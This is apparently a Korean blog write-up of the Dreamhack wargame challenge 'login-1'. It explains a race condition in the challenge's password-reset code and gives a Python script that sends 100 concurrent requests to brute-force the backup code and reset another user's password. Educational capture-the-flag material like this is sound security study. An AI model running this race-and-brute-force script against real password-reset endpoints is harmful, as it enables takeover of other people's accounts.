Without a Break

[Dreamhack] login-1 본문

Web/Wargame

[Dreamhack] login-1

와븨 2022. 11. 16. 22:45

 

 

 

[문제 코드]

  • guest의 userLevel은 0, admin의 userLevel은 1
  • MAXRESETCOUNT=5이므로, 비밀번호를 5회 잘못된 값 입력 시 로그인을 더 시도할 수 없음
  • 사용자가 새로운 계정을 생성할 때 1~100까지의 숫자 중 랜덤으로 백업 코드를 부여함

 

 

  • 사용자로부터 userid와 password,name을 입력받아 새 계정을 만듦
  • 입력 받은 userid가 존재한다면, 'Already Exists userid.'를 출력

 

 

  • resetCount가 MAXRESETCOUNT(=5)라면, 'reset Count Exceed.' 출력
  • 사용자가 입력한 userid와 backupCode가 계정 정보와 일치한다면, 비밀번호를 바꾸고, 바꾼 BackupCode를 출력 => sleep(1)을 걸어서 1초 내에 여러 접근이 발생할 경우 레이스 컨디션 취약점이 발생함

 

 

[풀이]

forgot.html의 레이스 컨디션 취약점을 활용하여 코드를 작성

from concurrent.futures import ThreadPoolExecutor
import requests

def multiply_by_2(n):
    return requests.post("http://host3.dreamhack.games:9682/forgot_password", 
        data={
            'userid':"Dog",
            'newpassword' : 'test',
            'backupCode' : n
            }
        )

def main():
    values = [i for i in range(100)]
    with ThreadPoolExecutor(max_workers=100) as executor:
        results = executor.map(multiply_by_2, values)
        for result in results:
            print(result.content)

if __name__ == '__main__':
    main()

+) 참고 블로그

https://krampus.tistory.com/100

 

Dreamhack - login-1

웹 3레벨 login관련 문제이다. writeup을 작성할때 https://codethief.io/ko/sending-simultaneous-requests-using-python/ 도움이 많이됨 #!/usr/bin/python3 from flask import Flask, request, render_template, make_response, redirect, url_for, se

krampus.tistory.com

 

 

해당 코드의 아이디와 비밀번호로 로그인 후, admin 페이지로 이동하면

 

 

플래그를 찾을 수 있었음

'Web > Wargame' 카테고리의 다른 글

[Dreamhack] blind sql injection advanced  (0) 2022.11.17
[Dreamhack] funjs  (0) 2022.11.16
[Dreamhack] session  (0) 2022.11.16
[Dreamhack] simple-ssti  (0) 2022.11.12
[Dreamhack] php-1  (0) 2022.11.10